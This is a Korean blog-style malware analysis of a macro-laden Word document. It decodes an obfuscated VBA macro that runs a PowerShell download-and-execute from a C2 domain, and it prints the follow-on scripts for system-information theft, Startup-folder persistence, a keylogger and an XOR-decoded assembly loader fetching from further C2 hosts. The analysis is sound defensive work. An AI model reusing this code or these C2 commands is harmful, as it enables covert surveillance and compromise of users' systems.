본문 바로가기
악성코드

악성코드가 포함된 워드문서(doc) 분석 2

by kimnampill 2022. 10. 7.
728x90
반응형

[분석 요약표]

연번 C2서버 도메인 다운로드 파일1 악성 행위 다운로드 파일2 악성 행위
1 uyfhk.mypressonline.com li.txt 감염 시스템 정보를 C2서버로 전송 li.down 사용자가 키보드로 입력한 값을 Ahanlab.hwp 파일에 저장
2
3 nskal.myarts
online.com
op.txt op.down xsiel.mypressonline.com에서 추가 악성파일 settings.dat을 다운로드하여 실행
 

○ 문서의 매크로 내용을 확인한 결과, 난독화된 소스코드가 확인되며 문서 2개 모두 동일한 매크로가 확인된다.

디코딩하면 아래와 같다.

Private Sub Document_Open()
Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String
fjdjkasf = "vnslajdsladkf"
fjdjkasf = Left(fjdjkasf, 5)
#vnsla 문자열 추출


dfgdfjiejfjdshaj = "pvnslavnslaowvnslavnslavnslaersvnslahelvnslavnslal.evnslaxvnslae"
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, fjdjkasf, "")
# dfgdfjiejfjdshaj 변수 문자열에서 “vnsla”을 공백으로 변경
# dfgdfjiejfjdshaj = "powershell.exe"


hdfksallasjkdlaf = "[vnslastvnslarivnslanvnslag]$vnslaf={(Nvnslawrvnslaaevnslaw-Ovnslabjvnslawrvnslaavnslavnslaecvnslatvnsla "
hdfksallasjkdlaf = Replace(hdfksallasjkdlaf, fjdjkasf, "")
# hdfksallasjkdlaf 변수 문자열에서 “vnsla”을 공백으로 변경
# hdfksallasjkdlaf = "[string]$f={(Nwraew-Objwraect "


ndkflajdkfjskdjfl = "Nvnslaewvnslaravnslavnslat.WvnslaebvnslawrvnslaaCvnslalvnslaiwvnslavnslaravnslaewvnslaravnslanvnslat).Dovnslawevnslailvnslasvnslavnsladjvnslafenvnslag"
ndkflajdkfjskdjfl = Replace(ndkflajdkfjskdjfl, fjdjkasf, "")
# ndkflajdkfjskdjfl 변수 문자열에서 “vnsla”을 공백으로 변경
# ndkflajdkfjskdjfl = "Newrat.WebwraCliwraewrant).Doweilsdjfeng"


salfnxkfdlsjafkj = "('hvnslatvnslatvnslapvnsla:vnsla/vnsla/vnslauvnslayvnslafvnslahvnslakvnsla.vnslamvnslayvnslapvnslarvnslaevnslasvnslasvnslaovnslanvnslalvnslaivnslanvnslaevnsla.vnslacvnslaovnslamvnsla/vnslahvnslaovnsla/vnslalivnsla.vnslatvnslaxvnslat')"
salfnxkfdlsjafkj = Replace(salfnxkfdlsjafkj, fjdjkasf, "")
# salfnxkfdlsjafkj 변수 문자열에서 “vnsla”을 공백으로 변경
# salfnxkfdlsjafkj = "('http://uskam.myartsonline.com/se/oj.txt')"


sjdfkjaslalsfial = "};$jvnsla=$vnslafvnsla.Revnslapvnslalavnslavnslacvnslae('vnslawra','');$vnslau=$vnslajvnsla.Rvnslaepvnslalavnslacvnslae('evnslailvnslasdvnslavnslajvnslafvnslae',"
sjdfkjaslalsfial = Replace(sjdfkjaslalsfial, fjdjkasf, "")
# sjdfkjaslalsfial 변수 문자열에서 “vnsla”을 공백으로 변경
# sjdfkjaslalsfial = "};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe',"


aksfkjaskjfksnkf = "'nvnslalovnslaadvnslavnslasvnslatrvnslaivnslavnsla');$xvnsla=ievnslavnslax $vnslauvnsla;ievnslaxvnsla $vnslaxvnsla"
aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fjdjkasf, "")
# aksfkjaskjfksnkf 변수 문자열에서 “vnsla”을 공백으로 변경
# aksfkjaskjfksnkf = "'nloadstri');$x=iex $u;iex $x"


yeuskaksef = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdlsjafkj + sjdfkjaslalsfial + aksfkjaskjfksnkf
# yeuskaksef변수에 hdfksallasjkdlaf, ndkflajdkfjskdjfl, salfnxkfdlsjafkj, sjdfkjaslalsfial, aksfkjaskjfksnkf 문자열 합침
# yeuskaksef = "[string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uyfhk.mypressonline[.]com/ho/li.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x"


a.ShellExecute d, y, "", "open", 0
# 파워쉘로 스크립트 실행
# a.ShellExecute "powershell.exe", "[string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uyfhk.mypressonline.com/ho/li.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x", "", "open", 0


End Sub

 

위 표의 파란색 글자로 표시한 부분은 아래 표의 연번1과 같으며 ‘Replace’ 함수를 포함하고 있다. 이를 해석하면 연번2와 같다.

파워쉘을 통해 C2서버 도메인 ‘uyfhk.mypressonline[.]com’에서 ‘li.txt’ 악성파일을 시스템에 다운로드 받아 실행하는 것이 확인된다.

연번 소스코드 설명
1 a.ShellExecute "powershell.exe", "[string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uyfhk.mypressonline.com/ho/li[.]txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x", "", "open", 0
2 a.ShellExecute "powershell.exe", "[string]$f={(New-Object Net.WebClient).Downloadstring('http://uyfhk.mypressonline[.]com/ho/li.txt')};
$x=iex $u;iex $x;

 

‘li.txt’ 파일을 C2서버에서 다운로드 받아 분석한 결과, 파워쉘 스크립트로 확인되며, 아래 와 같이 6개의 함수와 기능을 확인하였다.

연번 함수명 기능 설명
1 decode C2서버에서 추가로 다운로드 받는 악성코드를 디코딩하여 실행하는 함수
2 UpLoadFunc ‘Ahnlab.hwp’ 파일 내용을 C2서버에 전송하는 함수
3 FileUploading ‘Ahnlab.hwp’ 파일이 감염 시스템에 존재하는지 확인하는 함수
4 Download C2서버에서 추가로 악성파일을 다운로드 받는 함수
5 Get_info 최근 실행 파일, ProgramFiles, C:\Program Files (x86) 폴더 안의 파일목록, 시스템정보, 작업스케줄러 목록을 'Ahnlab.hwp' 파일에 저장하는 함수
6 main 위 함수들을 실행하는 메인 함수

 

○ 위 의 연번6 ‘main’ 함수 소스코드는 아래 표와 같다.

main Get_info FileUploading UpLoadFunc Download decode 함수순으로 실행되는 것이 확인된다

‘[사용자계정폴더]\AppData\Ahnlab\’ 경로에 ‘Ahnlab.hwp’ 파일을 생성한 후 감염된 시스템의 최근 실행한 파일, 설치한 프로그램 목록, 시스템 정보, 작업 스케줄러 목록을 탈취하여 ‘Ahnlab.hwp’파일에 저장하고 C2서버에 전송하는 것을 확인하였다.

function main # 메인 함수 (첫 번재로 동작)
{
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass Force
# 외부 스크립트 실행 가능하도록 정책 변경


$FilePath = $env:APPDATA + $LOG_FILEPATH
New-Item -Path $FilePath -Type directory -Force
$szLogPath = $FilePath + $LOG_FILENAME # 파일 저장경로 : %AppData%Ahnlab\Ahnlab.hwp
$key = Get-Item -Path $RegKey
$exists = $key.GetValueNames() -contains $RegValueName
if($exists eq $False) # AhnlabUpdate 레지스트리가 존재하지 않는 경우
{
$value1 = New-ItemProperty -Path $RegKey -Name $RegValueName
Get_info $szLogPath
# Recent파일, ProgramFiles, C:\Program Files (x86) 폴더 리스트
# 최근 실행한 파일, 시스템정보, 작업스케줄러 목록을 'ahnlab.hwp'에 저장
}
while ($true) # AhnlabUpdate 레지스트리가 존재하는 경우 반복 실행
{
FileUploading $szLogPath # 'Ahnlab.hwp' 파일 내용 업로드
Start-Sleep -s 10
Download # 추가 악성파일 다운로드 uyfhk.mypressonline.com/ho/li.down
Start-Sleep -s 10
Start-Sleep -s $TIME_VALUE
}


}

 

또한, C2서버에서 추가 악성파일 ‘li.down’을 다운로드 받는 것이 확인된다. 아래 표와 같이 인코딩되어 알아볼 수 없는 형태이며 ‘decode’ 함수로 디코딩 되는 것으로 확인된다.

fwj`wokk'tbg`vpfw |


&`khcwcpo%8'"D9_tnmgnsq_seow[KkbSdvidl.lo`'Jgw+Hpbh ,Pbtk!'chn`p`si$+T{sf$dln`$(Alscd%Quvhkc":$'ZuptjhcX`'g$=!}+M`p-Jemgfv'Ias+RegElkamw/*Ahmfr|vqmqvjig/!jrvt<(-q~cml.jzsqbppnjnjie,dhn*io.hi+txt'.x:d!f?`"`*u`pma`e+&hds{vuo -#qnnlb`Q"+>d!d>hey&d%c9hay%d&d& uwtmkg#8: %`jo`waqo
&toaki%=%Heu)Lalafs&*CjhKaoa`s PUatktr)Qlbii'
... (이하 생략)....

 

○ 직접 디코딩 함수를 이용하여 위 ‘li.down’ 파일을 디코딩한 결과, ‘regester’ 함수를 이용하여 스크립트를 실행하는 것을 확인하였으며, 함수 내용을 요약하여 분석하면 아래 표와 같다.

아래 표는 ‘regester’ 함수에서 정의한 변수들을 요약한 내용이다.

‘HncSerial.log’ 파일에 C2서버와 통신하는 파워쉘 실행 코드를 삽입하고, ‘Ahnlab.lnk’ 파일에서 위 ‘HncSerial.log’ 파일을 부팅 시마다 실행하도록 사용자 시작프로그램 경로에 등록하는 것이 확인된다.

function regester
{
$filepath = "C:\windows\temp\HncSerial.log"
New-Item -Path $filepath -Type file Force # HncSerial.log 파일생성
$String = "[string]`$a = {(New-Object Net.WebClient).Dokarysuntring ('http://uyfhk.mypressonline.com/ho/li[.]txt')};`$b=`$a.replace('karysun','wnloadS');`$c=iex `$b;iex `$c"
# uyfhk.mypressonlince.com/ho/li.txt 파일을 다운로드 받아 $String 변수에 저장


$string >> $filepath # String 변수의 내용을 C:\windows\temp\HncSerial.log 에 저장
$shell = New-Object -ComObject WScript.Shell
$makepath = "\Microsoft\Windows\Start Menu\Programs\Startup\" # 시작프로그램 경로
$desktop = $env:APPDATA + $makepath
# $desktop = 사용자계정\Appdata\Microsoft\Windows\Start Menu\Programs\Startup\


$shortcut = $shell.CreateShortcut("$desktop\Ahnlab.lnk")
# $desktop(사용자 시작프로그램) 경로에 Ahnlab.lnk 바로가기 생성하여 부팅시 마다 실행
# $desktop = 사용자계정\Appdata\Microsoft\Windows\Start Menu\Programs\Startup\Ahnlab.lnk


$shortcut.TargetPath = "powershell.exe"
$shortcut.Arguments = "-WindowStyle Hidden -command &{[string]`$x= [IO.File]::ReadAllText('C:\windows\temp\HncSerial.log');iex `$x}"
$shortcut.IconLocation = "imageres.dll,97"
$shortcut.WindowStyle = 7
$shortcut.Description = "administrator"
$shortcut.WorkingDirectory = "c:\"
$shortcut.Save()
# Ahnlab.lnk 바로가기 파일의 대상 명령어에 파워쉘 명령을 삽입하여
# 윈도우가 시작할 때마다 자동으로 명령 수행
# C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -command &{[string]$a={(New-Object Net.WebClient).DownloadString('http://uyfhk.mypressonline.com/ho/li.txt')}}


$LOG_FILENAME = "Ahnlab.hwp"
$LOG_FILEPATH = "\Ahnlab\"
$FilePath = $env:APPDATA + $LOG_FILEPATH
$logfile = $FilePath + $LOG_FILENAME # $logfile = 사용자계정\AppData\Ahnlab\Ahnlab.hwp

 

아래 표‘li.down’ 파일에서 사용자의 입력 키를 로깅하는 소스코드로 사용자가 입력한 키 값과 키를 입력할 때 사용한 프로세스의 ID, 실행경로, 타이틀명, 현재시간을 사용자계정\AppData\Ahnlab\Ahnlab.hwp’ 에 저장하는 내용이 확인된다.



$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'@ # 키 입력 관련 API 서명
......... 중략 ........
while ($true) # 사용자가 강제종료할 때까지 실행
{
Start-Sleep -Milliseconds 20
$gotit = ""
for ($char = 1; $char -le 254; $char++)
# 1~254까지 Key값을 GetAsyncKeyState 함수에 넣어 키가 눌렸는지 확인
{
$vkey = $char
$gotit = $getKeyState::GetAsyncKeyState($vkey)
if ($gotit -eq -32767) # 키가 눌렸다면
{
try
{
......... 중략 ........
if ($unicode_res -gt 0)
{
$topWindow = $getWindow::GetForegroundWindow()
if ($topWindow -ne $oldWindow)
{
$time = Get-Date -format "dd/mm/yyyy HH:mm"
# 현재시간 "dd/mm/yyyy HH:mm" 형태로 반환


$oldWindow = $topWindow
$process = Get-Process | Where-Object { $_.MainWindowHandle -eq $topWindow }
# 윈도우 최상단 프로세스(사용자가 현재 작업중인 프로세스)


[int]$ProID = [int]$process.id
$process2 = Get-WmiObject Win32_Process -Filter "ProcessId = $ProID"
$str = "`n`n====== " + $process.id + "|" + $process2.commandline + "|" +
$process.mainWindowTitle + "|" + $time + " ======`n"
[System.IO.File]::AppendAllText($logfile, $str, [System.Text.Encoding]::Unicode)
'===== 프로세스ID|프로세스실행경로|프로세스타이틀명|현재시간|=====' 내용으로
# 사용자계정\AppData\Ahnlab\Ahnlab.hwp 에 저장
}

 

 

 

C2서버에서 다운로드 받는 ‘op.txt’ 파일을 분석한 결과, ‘li.txt’의 소스코드 내용과 일치하며 ‘op.down’ 파일을 추가로 다운로드하는 것을 확인하였다.

C2서버에서 ‘op.down’을 다운로드 받아 확인한 결과, 아래 표와 같이 인코딩되어 알아볼 수 없는 형태이며

 ‘decode’ 함수로 디코딩되는 것으로 확인된다.

fwj`wokk'k~r`hkw` |
uhwvd`ufto#>#%kwut8,(xqnbo+lyqvevsonlnkd*fko/un+t`tuimgp/gdu
#gmjerbwl"8"'G?[thneisr]vdiqYwvumnd(`gw$ 'ifjdew#8'N`p*Mghbdp'K`t+Qe`Gojcjq
$jgnffp-Cophnic`@nna/!vhuu`fsfwk-$&enlgwfwm(
stars(rh`ar +r$65
$pnvwbguauo0$; kwpr?-*wqhox.lesuqnjmljg)gjl)gn,tav.jhm"
!topudgucso6'8%"mrtr>,,upjk)m|dvwvkmkiic,emi)dj+FmkkaePfqnbo/tq2%
... (이하 생략)....

 

‘op.down’ 파일을 디코딩하면 아래 표와 같다. 추가 C2서버 도메인 ‘xsiel.mypressonline.com’, ‘stoly.myartsonline.com’가 확인된다. C2서버에서 ‘settings.dat’ 파일을 다운로드 받아 ‘C:\windows\temp\strike.dat’로 저장하는 것을 확인하였다. 이후, ‘strike.dat’ 파일을 바이트로 읽어 디코딩하며 어셈블리 형태로 로드하는 것이 확인된다.

function myremote
{
$sourcepath = "http://xsiel.mypressonline.com/so/settings.dat"
$filepath = "C:\windows\temp\strike.dat"
$object = New-Object Net.WebClient
$object.DownloadFile($sourcepath, $filepath)
# settings.dat C2서버에서 다운로드 받아 C:\windows\temp\strike.dat 로 저장


start-sleep -s 10
#$sourcepath1 = "http://stoly.myartsonline.com/ch/res.ini"
#$sourcepath2 = "http://stoly.myartsonline.com/ch/AhnlabSerial.ps1"
#$filepath1 = "C:\windows\temp\res.ini"
#$filepath2 = "C:\windows\temp\AhnlabSerial.ps1"
#$filepath3 = "C:\windows\temp\HncSerial.vbs"
#$object = New-Object Net.WebClient
#$object.DownloadFile($sourcepath1, $filepath1)
#$object.DownloadFile($sourcepath2, $filepath2)
#$object.DownloadFile($sourcepath1, $filepath3)
#### C2서버에서 res.ini, AhnlabSerial.ps1 파일을 다운로드 받아 시스템 폴더안에 저장


#schtasks.exe /create /tn "AhnlabUpdate" /tr "wscript //e:vbscript C:\windows\temp\res.ini" /sc DAILY /f
#### res.ini 파일을 작업 스케줄러에 등록하고 vb스크립트 형태로 메일 실행


#$RegKey1 = 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
#$regValue = "C:\windows\temp\HncSerial.vbs"
#$RegValueName = "HncUpdate"
#$value1 = New-ItemProperty -Path $RegKey1 -Name $RegValueName -Value $regValue


$bytes = [System.IO.File]::ReadAllBytes($filepath)
# C:\windows\temp\strike.dat 파일을 바이트로 읽음


$key = "0x7a“
# 디코딩에 필요한 키 값


$mk="_m"


for($i=0; $i -lt $bytes.count ; $i++)
{
$bytes[$i] = $bytes[$i] -bxor $key
# strike.dat 파일을 바이트로 읽어 bxor 하여 디코딩
}


$bytes[0]=50
$bytes[0]=$bytes[0]+27
$as=[System.Reflection.Assembly]::Load($bytes)
# $bytes 파일을 어셈블리 형태로 로드


$mk=$mk+"ain"
foreach( $t in $as.GetTypes() )
{
foreach( $m in $t.GetMethods() )
{
if( $m.Name.Equals($mk) )
{ # 디코딩한 strike.dat 파일의 메소드가 _main인 경우


$inst = [System.Activator]::CreateInstance($t)
# 개체 생성
$m.Invoke($inst,@())
}
}
}
}
myremote

 

 

fwj`wokk'k~r`hkw` |
uhwvd`ufto#>#%kwut8,(xqnbo+lyqvevsonlnkd*fko/un+t`tuimgp/gdu
#gmjerbwl"8"'G?[thneisr]vdiqYwvumnd(`gw$ 'ifjdew#8'N`p*Mghbdp'K`t+Qe`Gojcjq
$jgnffp-Cophnic`@nna/!vhuu`fsfwk-$&enlgwfwm(
stars(rh`ar +r$65
$pnvwbguauo0$; kwpr?-*wqhox.lesuqnjmljg)gjl)gn,tav.jhm"
!topudgucso6'8%"mrtr>,,upjk)m|dvwvkmkiic,emi)dj+FmkkaePfqnbo/tq2%
... (이하 생략)....

 

‘op.down’ 파일을 디코딩하면 아래 [8]과 같다. 추가 C2서버 도메인 ‘xsiel.mypressonline.com’, ‘stoly.myartsonline.com’가 확인된다. C2서버에서 ‘settings.dat’ 파일을 다운로드 받아 ‘C:\windows\temp\strike.dat’로 저장하는 것을 확인하였다. 이후, ‘strike.dat’ 파일을 바이트로 읽어 디코딩하며 어셈블리 형태로 로드하는 것이 확인된다.

function myremote
{
$sourcepath = "http://xsiel.mypressonline.com/so/settings.dat"
$filepath = "C:\windows\temp\strike.dat"
$object = New-Object Net.WebClient
$object.DownloadFile($sourcepath, $filepath)
# settings.dat C2서버에서 다운로드 받아 C:\windows\temp\strike.dat 로 저장


start-sleep -s 10
#$sourcepath1 = "http://stoly.myartsonline.com/ch/res.ini"
#$sourcepath2 = "http://stoly.myartsonline.com/ch/AhnlabSerial.ps1"
#$filepath1 = "C:\windows\temp\res.ini"
#$filepath2 = "C:\windows\temp\AhnlabSerial.ps1"
#$filepath3 = "C:\windows\temp\HncSerial.vbs"
#$object = New-Object Net.WebClient
#$object.DownloadFile($sourcepath1, $filepath1)
#$object.DownloadFile($sourcepath2, $filepath2)
#$object.DownloadFile($sourcepath1, $filepath3)
#### C2서버에서 res.ini, AhnlabSerial.ps1 파일을 다운로드 받아 시스템 폴더안에 저장


#schtasks.exe /create /tn "AhnlabUpdate" /tr "wscript //e:vbscript C:\windows\temp\res.ini" /sc DAILY /f
#### res.ini 파일을 작업 스케줄러에 등록하고 vb스크립트 형태로 메일 실행


#$RegKey1 = 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
#$regValue = "C:\windows\temp\HncSerial.vbs"
#$RegValueName = "HncUpdate"
#$value1 = New-ItemProperty -Path $RegKey1 -Name $RegValueName -Value $regValue


$bytes = [System.IO.File]::ReadAllBytes($filepath)
# C:\windows\temp\strike.dat 파일을 바이트로 읽음


$key = "0x7a“
# 디코딩에 필요한 키 값


$mk="_m"


for($i=0; $i -lt $bytes.count ; $i++)
{
$bytes[$i] = $bytes[$i] -bxor $key
# strike.dat 파일을 바이트로 읽어 bxor 하여 디코딩
}


$bytes[0]=50
$bytes[0]=$bytes[0]+27
$as=[System.Reflection.Assembly]::Load($bytes)
# $bytes 파일을 어셈블리 형태로 로드


$mk=$mk+"ain"
foreach( $t in $as.GetTypes() )
{
foreach( $m in $t.GetMethods() )
{
if( $m.Name.Equals($mk) )
{ # 디코딩한 strike.dat 파일의 메소드가 _main인 경우


$inst = [System.Activator]::CreateInstance($t)
# 개체 생성
$m.Invoke($inst,@())
}
}
}
}
myremote

 

[분석요약]

 분석대상 문서는 모두 난독화된 매크로(VBA)가 포함되어 있으며, 문서를 열람하여 매크로가 실행되면 C2서버 도메인 uyfhk.mypressonline.com, nskal.myartsonline.com과 통신하는 것이 확인된다.

 

 매크로 실행 시 파워쉘을 통해 위 C2서버 도메인에서 각각 li.txt’, ‘op.txt’ 파일(파워쉘 스크립트)이 다운로드 되어 시스템에서 실행되는 것이 확인된다.

 

 ‘[사용자계정폴더]\AppData\Ahnlab\’ 경로에 ‘Ahnlab.hwp’ 파일을 생성한 후, 감염된 시스템의 최근 실행한 파일, 설치한 프로그램 목록, 시스템 정보, 작업 스케줄러 목록을 탈취하여 저장하고 C2서버에 전송하는 것을 확인하였다.

 

 또한,  도메인에서는 추가 악성파일인 li.down을 다운로드 받아 디코딩하여 파워쉘을 통해 시스템에서 실행되며, 감염된 시스템의 키로깅 정보를 탈취하는 소스코드인 것으로 확인된다.

 

  도메인에서는 추가 악성파일인 ‘op.down’을 다운로드 받아 디코딩하여 파워쉘을 통해 시스템에서 실행되며, 추가 C2서버 도메인 ‘xsiel.mypressonline.com’에서 ‘settings.dat’을 다운로드 받는 소스코드를 확인하였으나, 해당 도메인에서 추가 악성파일을 다운로드 받지 못하였다.

 

 

반응형

댓글